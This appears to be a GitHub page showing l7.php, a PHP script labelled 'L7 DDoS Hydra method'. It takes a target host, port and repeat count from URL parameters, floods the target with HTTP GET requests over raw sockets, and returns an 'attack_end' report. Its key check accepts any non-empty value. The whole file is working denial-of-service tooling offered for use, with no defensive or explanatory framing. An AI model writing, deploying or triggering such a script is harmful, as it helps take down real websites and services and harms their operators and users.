-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathl7.php
More file actions
42 lines (39 loc) · 1.22 KB
/
l7.php
File metadata and controls
42 lines (39 loc) · 1.22 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
/*
*
*
* L7 DDoS Hydra method
*
*
*/
error_reporting(0);
if(!$_GET['key']) die('{"type":"error", "code":"access_denied", "message": "Wrong key"}');
if(!$_GET['target'] || !$_GET['port'] || !$_GET['repeats']) die('{"type": "error", "message": "You must specify params correctly"}');
for ($i = 1; $i <= $_GET['repeats']; $i++) {
$fp = fsockopen($_GET['target'], $_GET['port'], $errno, $errstr, 60);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.example.com\r\n";
$out .= "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
fgets($fp, 128);
}
fclose($fp);
}
if($i==$_GET['repeats']) {
die('{
"type": "success",
"code": "attack_end",
"report": {
"host": "'.$_GET['target'].'",
"port": "'.$_GET['port'].'",
"requests": "'.$_GET['repeats'].'",
"attack_type": "L7"
}
}');
}
}